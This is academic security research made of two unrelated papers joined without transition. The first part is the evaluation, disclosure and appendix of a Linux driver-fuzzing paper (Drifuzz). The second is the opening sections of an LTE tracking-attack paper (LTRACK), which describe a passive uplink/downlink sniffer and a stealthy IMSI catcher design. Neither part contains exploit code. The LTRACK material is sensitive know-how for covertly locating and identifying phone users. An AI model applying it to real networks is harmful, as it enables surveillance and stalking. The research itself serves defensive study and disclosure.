8139cp have relatively simple initialization functions, so stan-
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Driver RandomSeed RS+C GoldenSeed GS+C Increase Signif
ath9k 310.9 522.9 2070.9 2793.7 798.6% ***

ath10k_pci 462.8 657.2 785.6 793.4 71.4% ***
rtwpci 183.1 163.6 384.1 386 110.8% ***
8139cp 173.1 172.4 173.3 173.7 0.3% *
atlantic 372.1 1441.9 1033.7 1532.5 311.9% ***

stmmac_pci 798.9 749.5 818.5 812.9 1.8% n.s.
snic 54 81.7 83 83.7 55.0% ****

Table 3: Mean bitmap byte coverage when fuzzing PCI network drivers across 10 trials with coverage increase between the
baseline (RandomSeed) and our full system (GS+C). RS: random seed; GS: golden seed; +C: concolic-assisted. Asterisks indicate
the significance level as measured by the Mann-Whitney U test: *: p<0.05, **: p<0.01, ***: p<0.001, and ****: p<0.0001.

dard greybox fuzzing suffices on these drivers.
The configurations that use golden seeds tend to outperform

those that start with random seeds. This is true even when
we do not employ concolic execution during fuzzing. We
believe that this may indicate that many of the more difficult
conditions in driver code are found during the initialization
phase, so configurations using golden seeds capture most of
the benefits of concolic execution during seed generation. We
do not find statistically significant differences between the
two golden seed configurations, providing further evidence
that concolic fuzzing does not add much additional benefit
over golden seeds alone.

5.3 Comparison with Prior Work

5.3.1 SymDrive

In Section 2.3.2, we noted that purely symbolic approaches
may suffer from path explosion when faced with code con-
structs found in complex device drivers, leading us to employ
a combination of concolic and forced execution in the de-
sign of our golden seed generation algorithm. To test this,
we compare Drifuzz’s golden seed generation to a previous
symbolic-execution based system for testing device drivers,
SymDrive [38].

Because SymDrive is relatively old (it was published in
2012) and is implemented for Linux 3.1.1, we backport Dri-
fuzz to this kernel version and then use both systems to test
four PCI WiFi drivers present in this version of the kernel:
ath5k, ath9k, atmel_pci, and orinoco_pci. Because Linux 3.1.1
does not support in-kernel coverage measurement via kcov,
we instead compare the time spent by each system to com-
plete its exploration, whether the network interface (eth0 or
wlan0) is successfully initialized once each system’s search
terminates, and the number of bugs found. As the SymDrive
paper, we perform three trials and report the mean time. The
result is shown in Table 4: interface discovery and bugs found
results are consistent in all three trials.

SymDrive finishes faster than Drifuzz for three out of the
four drivers, but encounters path explosion in the orinoco

Driver SymDrive Intf Drifuzz Intf Bugs
ath5k 13s × 65m ✓ 1
ath9k 193s ✓ 138m ✓ ×

atmel_pci 2s × 29m ✓ ×
orinoco_pci ~420m × 64m ✓ 1

Table 4: Comparison between SymDrive and Drifuzz’s con-
colic search; we perform three trials and report the mean. Intf
indicates whether the network interface is found. The Bugs
column shows bugs Drifuzz discovered in Linux v3.1.1 that
SymDrive does not find.

driver and takes 420 minutes (7 hours) to complete. However,
SymDrive only successfully initializes the network interface
in one of the four drivers, ath9k, while Drifuzz is able to initial-
ize the interface in all four. SymDrive’s symbolic exploration
is based on a prioritization strategy that favors successful
return values (zero, in most parts of the Linux kernel). It is
possible that implementing a different search strategy could
allow SymDrive to succeed on the other three drivers, but this
is outside the scope of our work.

Finally, whereas SymDrive’s exploration does not uncover
any bugs in the tested drivers, Drifuzz found memory safety
issues in the ath5k and orinoco_pci drivers. We find that the
orinico bug has been independently discovered and patched in
later kernel versions; however, the ath5k bug was still present
in modern kernels. We reported the flaw and provided a fix to
the kernel maintainers.

5.3.2 Agamotto

Agamotto is the most closely related work to our own, as it
applies greybox fuzzing at the OS-peripheral boundary. Due
to hardware compatibility issues, we perform our comparison
on the desktop rather than the server machine. As before,
we run the experiment for one hour, but due to the lower
number of CPU cores on the desktop machine this gives a
16 core-hour experiment; we repeat the experiment ten times
and report significance. We add support for the three PCI
WiFi drivers tested in Section 5.2.2 to Agamotto to make the
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Driver Agamotto Drifuzz Increase Signif
ath9k 503.4 2782.5 452.7% ***

ath10k_pci 412.9 889.9 115.5% ***
rtwpci 163 394.2 141.8% ***
8139cp 105.7 171.8 62.5% ****
atlantic 265.8 841 216.4% ***

stmmac_pci 742.9 914.8 23.1% ***
snic 51 86.1 68.7% ****

Table 5: Mean bitmap byte coverage from 10 trials for Ag-
amotto and Drifuzz with coverage increase and statistical
significance: *: p<0.05, **: p<0.01,***: p<0.001 and ****:
p<0.0001).

Driver Agamotto Drifuzz Bug Signif
ar5523 47 60.7 1 ****
mwifiex 66 126.7 1 ****

rsi 76 217.3 2 ****

Table 6: Mean block coverage for USB targets from 10 trials,
Agamotto vs Drifuzz, the number of newly discovered bugs
by Drifuzz, and statistical significance: *: p<0.05, **: p<0.01,
***: p<0.001 and ****: p<0.0001). GS: golden seed byte
coverage.

evaluation more consistent with our ablation study, and test
four PCI Ethernet and three USB WiFi drivers (included in
Agamotto’s evaluation).

We also made minor modifications to Agamotto to make
the configuration more consistent and comparable with Dri-
fuzz. Agamotto’s coverage measurement uses a shared global
variable for the previous program counter, which leads to
spurious edges added to the coverage map in the presence
of multiple threads; we convert it to a thread-local variable.
Agamotto also measures coverage in the entire network sub-
system; because Drifuzz is optimized for driver fuzzing (in
particular, its concolic analysis is disabled outside of driver
code); we limit Agamotto’s coverage tracking to driver code
as well.

PCI Drivers We compare Drifuzz with Agamotto on PCI-
based drivers in Table 5. We find that Drifuzz achieves, on
average, 154% (2.5×) higher coverage across PCI drivers.
These results are significant at the p<0.001 level or better for
all tested drivers. Despite a shorter experiment, the coverage
is generally on par with the results of our ablation study;
we believe this is due to the significantly faster single-core
performance on the desktop system.

USB Drivers Here, we evaluate Agamotto and Drifuzz on
the three USB WiFi drivers that were included in Agamotto’s
evaluation. For consistency with Drifuzz, we omit the USB
disconnect option when testing Agamotto and compare cov-
erage achieved within the driver. Note that unlike the other
experiments in our evaluation, we measure block coverage

rather than edge coverage because Agamotto (and Syzkaller,
on which Agamotto’s USB support is based) do not report
branch coverage when fuzzing USB devices. The results are
shown in Table 6.

Drifuzz outperforms Agamotto on every driver, finding four
previously unknown bugs that Agamotto fails to detect. We
use the interactive coverage UI (inherited by Syzkaller) and
confirm that the buggy code is not covered by Agamotto in
any of the three drivers.

5.4 Bug Finding

In addition to the bugs discovered in the course of our main
evaluation, we also conducted an ad hoc test of the ath9k USB
driver with the golden seed generation algorithm. We were
able to find two bugs in this driver using Drifuzz: one bug
which was already reported by Syzkaller, and a previously
unknown bug that was uncovered by Drifuzz after applying a
patch to fix the Syzkaller-reported flaw.

Overall, we have used Drifuzz to find twelve previously
unknown bugs in four PCI drivers and four USB drivers. We
discovered two other PCI driver bugs manually during the
development of our fuzzer. We have submitted patches to the
Linux open-source community for fourteen discovered bugs;
thirteen of these patches have been accepted into the kernel
and one is still under review.

Table 7 lists the twelve memory bugs we discovered with
Drifuzz. Ten were found during the concolic exploration
phase of golden seed generation and two were found dur-
ing hybrid fuzzing.

5.4.1 Vulnerability Disclosure

We reported all bugs found to the Linux kernel developers, and
provided patches to fix the issues. We additionally evaluated
the severity of the issues, applied for CVE identifiers for the
two we felt were likely to be exploitable, and were assigned
CVE-2021-XXXXX5 and CVE-2021-XXXXX6. CVE-2021-
XXXXX5 is an out-of-bounds read followed by an out-of-
bound write with attacker-controlled length in the atlantic PCI
Ethernet driver, and may be exploitable locally by an attacker
with the ability to attach a malicious PCI device, or by first
exploiting a flaw in the atlantic firmware and then using this
vantage point to attack the host. CVE-2021-XXXXX6 is a
kernel panic (denial of service) in the Marvell mwifiex USB
driver and can be triggered by an attacker who can insert a
malicious USB device or compromise the mwifiex firmware.

Aside from disclosing and helping to fix the vulnerabilities
we discovered, we also worked with a downstream vendor to
help them understand the potential impact on their distribu-
tion.
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Summary Driver Type Fixed Stage
KASAN: slab-out-of-bounds in ath10k_pci_hif_exchange_bmi_msg ath10k PCI ✓ seed-gen
KASAN: slab-out-of-bounds in hw_atl_utils_fw_upload_dwords atlantic PCI ✓ fuzzing
KASAN: double-free or invalid-free in consume_skb atlantic PCI ✓ seed-gen
KASAN: use-after-free in stmmac_napi_poll_rx stmmac PCI ✓ seed-gen
KASAN: use-after-free in aq_ring_rx_clean atlantic PCI ✓ seed-gen
KASAN: slab-out-of-bounds in ath5k_eeprom_read_pcal_info_5111 ath5k PCI ✓ seed-gen
KASAN: null-ptr-deref ar5523 USB ✓ seed-gen
skbuff: skb_over_panic mwifiex USB ✓ seed-gen
KASAN: slab-out-of-bounds in ath9k_hif_usb_rx_cb ath9k_htc USB ✓ seed-gen
KASAN: slab-out-of-bounds in rsi_read_pkt rsi USB ✓ seed-gen
KASAN: use-after-free in rsi_rx_done_handler rsi USB ✓ seed-gen
KASAN: use-after-free in rsi_read_pkt rsi USB fuzzing

Table 7: Summary of new memory/panic bugs we found, the name of the buggy device driver, bus type, whether fixed upstream
and the stage we found the bug

6 Limitations and Future Work

Similar to many other systems that use symbolic execu-
tion [19, 43, 45], we have a limitation in our handling of
pointers with symbolic addresses. Ideally, a read or write at a
symbolic address should consider that all possible addresses
that satisfy the constraints could be modified; however, this
can be very expensive in practice. We instead adopt a common
practical workaround and simply concretize the pointer. As a
consequence, however, we cannot solve complex constructs
involving symbolic addresses, such as parsing the contents
of non-volatile read-only memory (NVRAM) in the rtwpci
driver. We hope to remove this limitation in future work by
adopting some form of symbolic array modeling, similar to
that found in Mayhem [5].

As we discuss in our related work, the nascent field of
embedded device rehosting [16, 51], which attempts to au-
tomatically model device peripherals so that the embedded
device firmware can be emulated entirely in software, shares
many key goals with our work. Both rehosting and hardware-
free driver fuzzing need to generate satisfactory responses to
driver queries, lest the driver conclude that the hardware is
malfunctioning and abort. Although the level of driver func-
tionality needed to fuzz a driver is significantly less than that
required to emulate a whole embedded system, we believe that
some of our techniques for finding good values for peripheral
responses while avoiding path explosion may be applicable
to the rehosting problem as well, and we aim to explore this
connection further in future research.

We hope to extend our work to closed-source Android de-
vice drivers. Because these devices are mobile, they are more
exposed to remote attacks via WiFi and Bluetooth; at the same
time, many of the drivers are closed source and proprietary,
which makes large-scale testing difficult. Our current work-
flow requires the driver source only for coverage collection;
however, recent advances in both hardware-assisted coverage

collection [40,41] and static binary rewriting [14,18, 55] may
make coverage collection on closed-source drivers easier. Fi-
nally, we also hope to extend our fuzzer to explore different
interrupt schedules in order to expose harder-to-find driver
bugs such as race conditions.

7 Related Work

Fuzzing has recently received a great deal of attention from
academic researchers. Here we focus on the work most closely
related to Drifuzz; for a more complete overview of recent
fuzzing research we direct the reader to the survey of Manès
et al. [29]. Drifuzz extends traditional fuzzing by using forced
execution and concolic testing to generate good initial seeds
for complex driver code, allowing the OS-peripheral boundary
to be efficiently tested without requiring actual hardware.

Hybrid Fuzzing Hybrid fuzzing is a popular approach to
overcome some of the limitations of random fuzzing; however,
the majority of this work focuses on userspace programs [6,
19, 21, 35, 49, 54]. HFL [21] works with the Linux kernel but
mainly examines the system call interface and does not handle
MMIO, DMA, or interrupts.

USB Fuzzing Although PCI device drivers have so far re-
ceived relatively little attention, some prior work has exam-
ined the security of USB drivers [25,34]. Here, the motivating
threat model is an attacker who has physical access to a ma-
chine and can insert a malicious USB peripheral.

Program Transformation Prior work uses program trans-
formation in fuzzing [35] and malware detection [22]. T-
Fuzz [35] applies forced execution to disable complex con-
dition checks and later recovers the path through symbolic
execution. Although the basic idea is similar, Drifuzz works
with kernel code and modifies the driver code during concolic
execution to quickly identify preferred branch conditions.
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Checkpoint-based Fuzzing Agamotto [48] uses snapshots
to accelerate device driver fuzz testing. Finding new paths is
a rare occasion in fuzzing; most of the fuzzer’s time is spent
in already-found paths. Agamotto actively creates snapshots
during execution. When it executes a new input, it finds the
closest snapshot by longest common prefix, and starts exe-
cution from the snapshot. The time difference between real
execution and restoration is saved and thus speeds up fuzzing.
Although our evaluation finds that Drifuzz’s seed generation
is better able to handle complicated drivers and reach deeper
paths, the snapshot mechanism could also potentially bene-
fit Drifuzz if the necessary symbolic state were saved in the
snapshot.

Symbolic Execution SymDrive [38] and DDT [26] are ear-
lier works that use symbolic execution to test device drivers.
However, as we see in our comparison with SymDrive (Sec-
tion 5.3.1), these symbolic approaches may struggle with
complex code such as WiFi drivers due to path explosion.

Hardware-based Device Driver Testing Hardware-in-the-
loop testing can be an effective bug-finding strategy [32, 39,
47, 50]. Unfortunately, this technique requires significant hu-
man effort and resources to test a new device. For example,
Periscope [47] needs to flash a custom Android kernel to the
device under test and Charm [50] requires porting the device
driver to a modified kernel. One recent work, BOSD [27],
uses record and replay to scale fuzzing of GPU drivers by
replaying recorded responses from the real hardware on mul-
tiple cores, but at least one real device is still needed, and it
focuses only on the system call boundary.

Firmware Rehosting On the embedded side, there are
firmware testing tools that apply fuzzing [17, 30] and sym-
bolic execution [4, 20, 56]. These tools mainly work with IoT
devices that run custom firmware on the ARM architecture.
P2IM [17] and DICE [30] use heuristics tuned for micro-
controllers to categorize the type of input registers, such as
control registers, status registers and data registers.

In concurrent work, µemu [56] and Jetset [20] use symbolic
execution in an attempt to create higher-fidelity models of
embedded peripherals; while µemu targets relatively simple
microcontrollers, Jetset can partially emulate more complex
embedded systems such as a Raspberry Pi. However, Jetset
currently only models relatively simple devices such as GPIO
and UART interfaces. Based on our evaluation of SymDrive,
we expect that both systems would struggle with emulating
more complex peripherals such as the SoftMAC WiFi devices
whose drivers we test; Drifuzz’s use of forced execution al-
lows it to more efficiently generate seeds for these drivers that
satisfy the drivers’ initialization checks and unlock deeper
code paths. As discussed in Section 6, however, we believe
our techniques may also help enhance rehosting efforts.

8 Conclusion

In this paper we presented a technique for efficiently generat-
ing “golden seeds” that allow the OS-peripheral boundary to
be tested efficiently without access to real hardware periph-
erals. Our implementation augments PANDA’s existing taint
analysis to perform concolic execution, and leverages TCG
modification to optimize concolic golden seed generation.
Our evaluation of fourteen WiFi and Ethernet drivers shows
that golden seeds and hybrid fuzzing allow Drifuzz to achieve
higher coverage than the previous state of the art and uncover
real vulnerabilities in device drivers. Two bugs with severe
impact were assigned CVEs.

Availability

To facilitate future research, we will open-source Drifuzz. An
anonymized version is available at:
https://github.com/messlabnyu/DrifuzzProject/
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A KASAN Optimization

Here we provide more detailed performance results for frame
unwinding. We use the test cases generated by our fuzzer
to evaluate the performance of Drifuzz on the 7 PCI net-
work drivers. The result, shown in Table 8, shows an average
speedup of 4.72× after removing stack unwinding for memory
allocation and deallocation, with speedups of nearly 16× in
allocation-intensive drivers.

As an alternative to disabling KASAN’s stack unwinding,
we could also attempt to use a faster unwinder; we therefore
evaluated the two unwinders supported by Linux kernel. The

Frame Pointer unwinder (FP) stores a pointer to the previous
frame in a register so it can more quickly unwind calling
stacks. The ORC unwinder (enabled by default) uses a binary
format to store information about stack frame sizes, allow-
ing unwinding to occur without the use of a dedicated frame
pointer register. Although this makes unwinding much slower,
it improves performance during normal execution by free-
ing up an extra register and reducing code size by ≈3.2%.
However, with KASAN enabled, stack traces are collected
frequently during kmalloc and kfree, causing a slowdown of
up to 20% in our tests.

To more precisely measure the overhead of allocation-
related unwinding we created a micro-benchmark module
that performs kmalloc/kfree 500,000 times (comparable
to the number of allocations made during Ethernet driver
initialization). We test four configurations: KASAN+FP,
KASAN+ORC, KASAN with our patch, and, for comparison,
ORC with KASAN disabled. Across ten trials, the benchmark
takes 286.7ms, 351.2ms, 57.8ms and 8ms. Our patched ver-
sion is considered the baseline, where the same code is run but
no stack unwinding happens. The data show that FP unwinder
is 1.2× faster than ORC unwinder, but our patch still provides
a speedup of 4.9× over the FP unwinder.

Driver Optimized Unmodified Speedup
ath10k_pci 0.32s 2.23s 6.96×

ath9k 1.45s 1.96s 1.35×
rtwpci 0.28s 2.12s 7.65×
atlantic 0.16s 2.07s 12.93×
8139cp 1.14s 3.14s 2.74×

stmmac_pci 1.51s 1.93s 1.28×
snic 0.13s 2.04s 15.95×

geomean 4.72×

Table 8: Average execution time in seconds per input with
optimized and unmodified KASAN.
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Abstract
We introduce LTRACK, a new tracking attack on LTE that

allows an attacker to stealthily extract user devices’ locations
and permanent identifiers (IMSI). To remain stealthy, the lo-
calization of devices in LTRACK is fully passive, relying on
our new uplink/downlink sniffer. Our sniffer records both
the times of arrival of LTE messages and the contents of the
Timing Advance Commands, based on which LTRACK cal-
culates locations. LTRACK is the first to show the feasibility
of a passive localization in LTE through implementation on
software-defined radio.

Passive localization attacks reveal a user’s location traces
but can at best link these traces to a device’s pseudonymous
temporary identifier (TMSI), making tracking in dense areas
or over a long time-period challenging. LTRACK overcomes
this challenge by introducing and implementing a new type
of IMSI Catcher named IMSI Extractor. It extracts a device’s
IMSI and binds it to its current TMSI. Instead of relying on
fake base stations like existing IMSI Catchers, which are de-
tectable due to their continuous transmission, IMSI Extractor
relies on our uplink/downlink sniffer enhanced with surgical
message overshadowing. This makes our IMSI Extractor the
stealthiest IMSI Catcher to date.

We evaluate LTRACK through a series of experiments and
show that in line-of-sight conditions, the attacker can estimate
the location of a phone with less than 6m error in 90% of the
cases. We successfully tested our IMSI Extractor against a set
of 17 modern smartphones connected to our industry-grade
LTE testbed. We further validated our uplink/downlink sniffer
and IMSI Extractor in a test facility of an operator.

1 Introduction

LTE is one of the most widely deployed and used cellular
technologies. It was designed to not only enable communica-
tion but also to protect the security and privacy of users by
encrypting communication between a user equipment (UE)
and a base station (eNodeB). Unlike the user’s data, LTE

physical and MAC layer control messages are transmitted in
plain-text, with subscriber identifiers (IMSI) replaced with
temporary identifiers (TMSI) to protect users’ privacy.

LTE security and specifically the security and privacy on
the wireless link between base stations and UEs is an ac-
tive area of research. Broadly, attacks against LTE can be
classified as active or passive, where active attacks (e.g.,
IMSI Catcher [19, 36]) typically rely on fake base stations
to which victim UEs connect. Recently, message overshad-
owing emerged as a new active, but stealthier manipulation
technique [13, 45].

On the other hand, passive attacks rely on custom-built
sniffers. In [8, 23], it was shown that an attacker can build a
passive downlink traffic sniffer (from the eNodeB to the UE)
using software-defined radios. Downlink sniffers were then
used as tools for localization [32], to break the encryption
of phone calls [34], and to allow traffic fingerprinting [20].
The idea of passive uplink and downlink sniffing was further
proposed for user localization [32] but was not implemented.
Unlike downlink sniffing, so far, uplink sniffing was imple-
mented only using active techniques and relied on fake base
stations [33, 37].

In this work, we focus on large-scale, stealthy UE tracking.
To be successful in such an attack, the adversary needs to:
(i) determine the location of the UE, (ii) obtain a UE’s identi-
fier that links observed locations into a trace, and (iii) avoid
detection. Until now, no attack fulfills all of the above at the
same time. Passive localization alone could leak UE traces
in some low-density areas, but in urban areas with a high
density of UEs, this task will be harder without the identifier
that binds the observed locations together [38].

IMSI Catchers, which are used to leak a UE’s IMSI to the
adversary and therefore identify the UE, rely exclusively on
fake base stations. However, to get the UE to connect to the
fake base station (a requirement of the attack), the attacker
needs to transmit continuously at a high power and can there-
fore be detected by law enforcement and operators [24,26,30].

This paper addresses the above and shows that stealthy
localization and identification (and therefore tracking) of UEs
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in LTE is indeed possible. We present LTRACK, a new track-
ing attack on LTE which combines passive and stealthy active
attacks. For passive localization, we use LTEPROBE, our up-
link/downlink sniffer, and for binding the collected traces to
an IMSI, we use our active but stealthy IMSI Extractor.

Our work focuses on the recovery of users’ long-term mo-
bility traces. How this information is then further used by
adversaries is well studied and out of scope of our work.
Prior research showed that traces can be used to deanonymize
users through transportation routines [25], mobility pat-
terns [14,29,43,46], home addresses [15,18,21], co-locations
with other users [27, 40], or online geo-tagged media [17].

In summary, we make the following contributions:

• We demonstrate the feasibility of a fully passive adver-
sarial localization of UEs in an LTE network. We show
that, in line-of-sight conditions, the attacker can estimate
the location of a phone with an error of less than 6m in
90% of the cases.

• We propose a new type of IMSI Catcher, named IMSI
Extractor. Our IMSI Extractor does not rely on fake base
stations but instead uses a combination of low-power
surgical message overshadowing and uplink/downlink
sniffing. Even if our catcher injects a message, it does so
in line with LTE protocol specification, making it hard to
detect with existing IMSI Catcher detection techniques.
We discuss the techniques that would be needed to detect
this attack. We successfully tested our IMSI Extractor
on 17 smartphones connecting to an industry-grade eN-
odeB.

• We combine our passive localization and our IMSI Ex-
tractor into a UE tracking system that we name LTRACK,
which enables simultaneous identification and localiza-
tion of UEs, allowing an attacker to track users more
persistently and with higher accuracy than in prior at-
tacks. LTRACK does this by cross-checking IMSI-TMSI
pairs obtained with our IMSI Extractor, with the location
data identified by the TMSI obtained from our localiza-
tion attacks.

• We implement the first white-box uplink and downlink
LTE sniffer, called LTEPROBE. So far, only downlink
sniffers were presented in open research. This sniffer
is one of the core components of LTRACK. Our sniffer
records both protocol level information, e.g., synchro-
nization parameters or phone model specific messages,
and physical layer timings of messages.

• Using our sniffer, we implement mobile phone finger-
printing, which allows the attacker to identify the make
and the model of the phone. This allows us, in some
scenarios, to further increase the accuracy of phone lo-
calization and tracking by as much as 20 meters.

2 Background

2.1 LTE

The radio access network in LTE is managed by base stations
(eNodeB). eNodeBs route the traffic over a secure channel to
the network core, which handles most mobile network func-
tions. Our sniffer captures and analyzes the communication
between a base station and a mobile phone (UE): downlink
from eNodeB to UE, and uplink from UE to eNodeB. Most
providers implement uplink and downlink separation using
FDD-LTE (Frequency Division Duplex). In FDD, uplink and
downlink use two separate RF carriers, one for each direction.
Multiplexing is implemented using OFDMA in downlink and
SC-FDMA in uplink.

Physical layer data transmission is scheduled in 10ms long
frames for both downlink and uplink [3]. Frames are indexed
from 0 to 1023 and split into ten subframes, each with a
duration of 1ms. Each subframe consists of two slots. By
default, a slot is made up of 7 OFDM symbols with one cyclic
prefix per symbol.

In both OFDMA and SC-FDMA, data is modulated onto
orthogonal subcarriers. Modulated data values are called fre-
quency samples. Using inverse fast Fourier transformation,
frequency samples are transformed into a time signal and
transmitted over the radio. An LTE receiver samples the in-
coming signal into time domain samples. Fast Fourier trans-
form over the time samples outputs the frequency samples.
The smallest indexed element is a resource block [3] which
spans 12 subcarriers and lasts one slot.

Physical Layer Channels. Data on the physical layer is
sent over different channels [3]. Each channel occupies pre-
defined resource blocks. Physical shared channels are used
for data transmission, and control channels manage flow and
access to them. The Physical Random Access Channel is used
to establish new UE connections.

All resource allocations of resource blocks are commu-
nicated to the UE in Downlink Control Information (DCI)
elements transmitted over the downlink control channel. A
16-bit RNTI number addresses each DCI and specifies the re-
cipient of the message. Depending on the function, the RNTI
number specifies one UE or multiple UEs. The format of the
DCI determines its function.

DCI Format 0 allocates resource blocks on the uplink to
UEs. A UE can transmit on the uplink shared channel
only if it receives a corresponding resource allocation.
The DCI Format 0 also specifies parameters to be used
for the message encoding, such as modulation schemes.

DCI Format 1 or 2 defines which resource blocks a UE
should decode and which parameters it should use to
decode the messages on the downlink shared channel.
The downlink shared channel carries user data and other
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system information, such as the configuration of the base
station.

Connection Establishment. A UE uses two numbers for
identifying to the network: IMSI, a unique, persistent identi-
fier, and TMSI, a temporary identifier. Each UE connection
starts with an RRC Connection Request containing the UE
TMSI. If the TMSI is not available, the UE samples a random
value and includes it instead of the TMSI.

There are two ways how a UE requests the service from
the network. If the UE connects for the first time after losing
a state (e.g., restarting), it initiates an attachment procedure
by sending an Attach Request, containing the TMSI if one
has been assigned previously, or the IMSI otherwise. If the
network does not recognize the TMSI, it will ask the UE to
provide its IMSI in an identification procedure. At the end of
the attachment procedure, after the security context has been
set up, the network assigns the UE a new TMSI. The TMSI is
at this point both ciphered and integrity protected.

If the UE is already attached to the network but idle, going
from idle state to connected state, it enters the service request
procedure by sending an integrity protected Service Request,
after which the connectivity is immediately restored.

2.2 Relevant Attacks
Localization Attacks. By observing paging messages
alone, an attacker can learn if a victim is currently in the same
tracking area or the same cell (if smart paging is deployed),
as shown in [36].

With the victim connected to the same base station as the
attacker, more advanced attacks can be executed. As proposed
in [32], an attacker can observe control messages on the MAC
layer that contain propagation delay correction information.
This information alone constrains the location of the victim to
a 78 meters wide ring around the eNodeB with its perimeter
defined by the propagation delay correction.

Localization attacks based on fake base stations [19] are
even more accurate. However, we do not consider them
stealthy enough to be used in a large-scale tracking attack.

IMSI Catchers. As mentioned in Section 1, for areas with
a high density of UEs, the attacker needs to be able to obtain
the identity of the victims in order to track them. The most
potent attacks in this area are IMSI Catchers [19, 36], which
reveal the unique IMSI number to the attacker. However, these
attacks all rely on fake base stations.

3 LTEPROBE

The key component to make the stealthy tracking possible is
the implementation of a combined uplink/downlink LTE snif-
fer that we name LTEPROBE. In what follows, we describe
LTEPROBE and its abilities. As already discussed, downlink

sniffing (see, e.g., [8, 23]) allows the attacker to record unen-
crypted Downlink Control Information and control elements
on MAC layer. With an uplink sniffer, however, the attack
surface increases substantially. Unencrypted messages, such
as the initialization messages, can be used by the attacker for
the leakage of users’ identifiers. All uplink messages, even
encrypted ones, can be used for precise time of arrival mea-
surements.

3.1 System Architecture

We designed LTEPROBE to be a fully passive device and there-
fore virtually undetectable. LTEPROBE receives RF samples
on both uplink and downlink. It records all communication
between mobile phones and base stations but does not break
encryption. LTEPROBE has a stable clock and synchronizes
its reception to the base station. The clock drift between the
base station’s and LTEPROBE’s clock is negligible, because
both devices use GPS synchronized clocks.

LTEPROBE consists of two components: DOWN-
LINKPROBE, the downlink sniffer, and UPLINKPROBE, the
uplink sniffer. DOWNLINKPROBE works as a standalone
analyzer for downlink, but UPLINKPROBE requires schedul-
ing information shared by DOWNLINKPROBE. The uplink
and downlink sniffing is feasible due to the unencrypted DCI
messages carried over the downlink control channel.

DOWNLINKPROBE first synchronizes to the base station
and records identifiers of connected UEs. The LTE protocol
specifies temporary RNTI numbers for the identification of
UEs on the physical layer for the duration of the connec-
tion. With the RNTI, DOWNLINKPROBE finds and decodes
messages intended for the victim UEs.

On the physical layer, when a UE connects to an eNodeB,
the eNodeB replies with a Random Access Response. Inside
the Random Access Response, the eNodeB specifies a new
RNTI for the UE. Because the Random Access Response is
sent in a plain-text, it is visible to DOWNLINKPROBE. How-
ever, this method can be used only for new connections. For
already connected UEs, the assigned RNTI is not exchanged
in plain-text, but coded into the CRC of DCI messages. The
work in [23] describes a method for extracting the RNTIs from
the DCIs, however, for our use-cases this is not necessary.

To decode downlink channels, DOWNLINKPROBE com-
putes inverse OFDMA transformation to receive frequency
samples. It performs channel correction and frequency offset
correction. It then goes over all possible locations of DCIs for
the set of recorded RNTIs and tries to decode them. Depend-
ing on the format of the decoded DCI, DOWNLINKPROBE
either uses it to decode the PDSCH message or shares it
with UPLINKPROBE. Finally, DOWNLINKPROBE parses
PDSCH messages to get higher-layer messages, e.g., NAS-
layer messages containing dedicated UE configuration. Fig-
ure 1 shows how DOWNLINKPROBE receives RNTIs in
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LTEPROBE parses RAR and gets an RNTI of a newly
connected UE; LTEPROBE can decode DCIs using the RNTI

LTEPROBE uses a DCI Format 1 to decode downlink DATA1

LTEPROBE combines DATA1, DATA2, ... DATAn to get
a higher layer packet

LTEPROBE and UE receive a DCI Format 0
with an uplink scheduling information
LTEPROBE uses the scheduling from the DCI Format 0
to decode uplink DATA and measure the time of arrival
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Figure 1: Decoding of uplink and downlink channels by LTEPROBE. First LTEPROBE records an RNTI of a UE. Then it uses it
to decode DCIs. DCIs either specify resource blocks containing downlink or uplink data.

Random Access Response and then obtains shared channel
data.

UPLINKPROBE receives samples transmitted from mul-
tiple UEs. Similar to the eNodeB, it demodulates them and
applies channel correction. Afterward, it tries to decode uplink
shared channels and control channels.

The physical uplink shared channel is decoded according
to the scheduling information. eNodeB controls the schedul-
ing in the LTE protocol, so it knows the scheduled resource
allocations. In our case, UPLINKPROBE has to obtain the
scheduling information from the DCI messages the same way
the UE receives them. UPLINKPROBE uses the passed DCI
Format 0 messages from the downlink sniffer containing the
scheduling information. Because DCI Format 0 messages
carry the resource allocations for future uplink transmissions,
without a downlink sniffer, UPLINKPROBE would not be
able to decode uplink channels. Figure 1 visualizes the proce-
dure of UPLINKPROBE.

To correctly decode uplink shared and control channels,
UPLINKPROBE has to apply a dedicated UE configuration
sent via a RRC-layer downlink message. UPLINKPROBE
again uses information recorded by DOWNLINKPROBE.
Similar to DOWNLINKPROBE, physical layer messages are
parsed to receive higher layer messages.

LTEPROBE Implementation

We base our implementation on srsLTE [16], an open-source
library for the LTE protocol. The two main components,

DOWNLINKPROBE and UPLINKPROBE, run on two sep-
arate co-located USRP devices. The two components run as
two threads of a parent LTEPROBE program.

Both downlink and uplink subframes are scheduled at the
same time. Regular UEs learn the timings of the subframe
from the synchronization signals transmitted by the eNodeB.
Similarly, our LTEPROBE synchronizes to the eNodeB by ob-
serving the synchronization signals. However, only DOWN-
LINKPROBE is receiving them. Therefore, the uplink and
downlink threads of LTEPROBE need to share timings and
subframe numbers; otherwise, UPLINKPROBE would not be
able to receive the uplink subframes at the correct time. To
synchronize precisely, the two USRPs need to have the same
time reference. This can be solved by using a GPSDO on both
USRPs to have the same GPS clock or by using an Octoclock,
a clock distribution module.

For each subframe, both UPLINKPROBE and DOWN-
LINKPROBE record the subframe index and the exact time
they received it. If the timestamps for the same subframe in-
dex do not match, UPLINKPROBE has to adjust its reception
time by discarding time samples. A perfect synchronization
of the two components is then achieved.

Unless LTEPROBE is co-located with the eNodeB, the up-
link messages sent by UEs will not be perfectly time syn-
chronized to the frames at LTEPROBE location (due to dif-
ferent propagation delays). We tested the robustness of the
LTEPROBE under such misalignment of the attacker in Fig-
ure 12 in the Appendix. Our results show that the attacker
can still decode the messages under < 4µs misalignment
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Figure 2: Passive localization attack using a single sniffer.
The yellow ring is defined by the received Timing Advance
Command, and the grey ellipse is defined by the time of arrival
measured by LTEPROBE. The intersection of the two rings
defines possible locations of the mobile phone.

(which corresponds to 1.2km distance). However, even if this
misalignment would be larger, because UPLINKPROBE and
DOWNLINKPROBE are independent devices, the attacker
can apply time correction to the uplink messages and still
correctly decode uplink messages.

4 Passive Localization Attack

Passive localization of UEs in LTE networks was proposed in
a number of prior works [23, 32, 36]. Most notably, Roth et
al. [32] proposed a passive localization attack that leverages
synchronization parameters sent on the MAC layer (Timing
Advance Command) and times of arrival of uplink and down-
link messages.

Specifically, the attack proposed in [32] works by observ-
ing the Timing Advance Command containing propagation
delay correction information. Because of the coarse granular-
ity of the Timing Advance Command, the attack constrains
the location of the victim to a 78 meters wide ring around
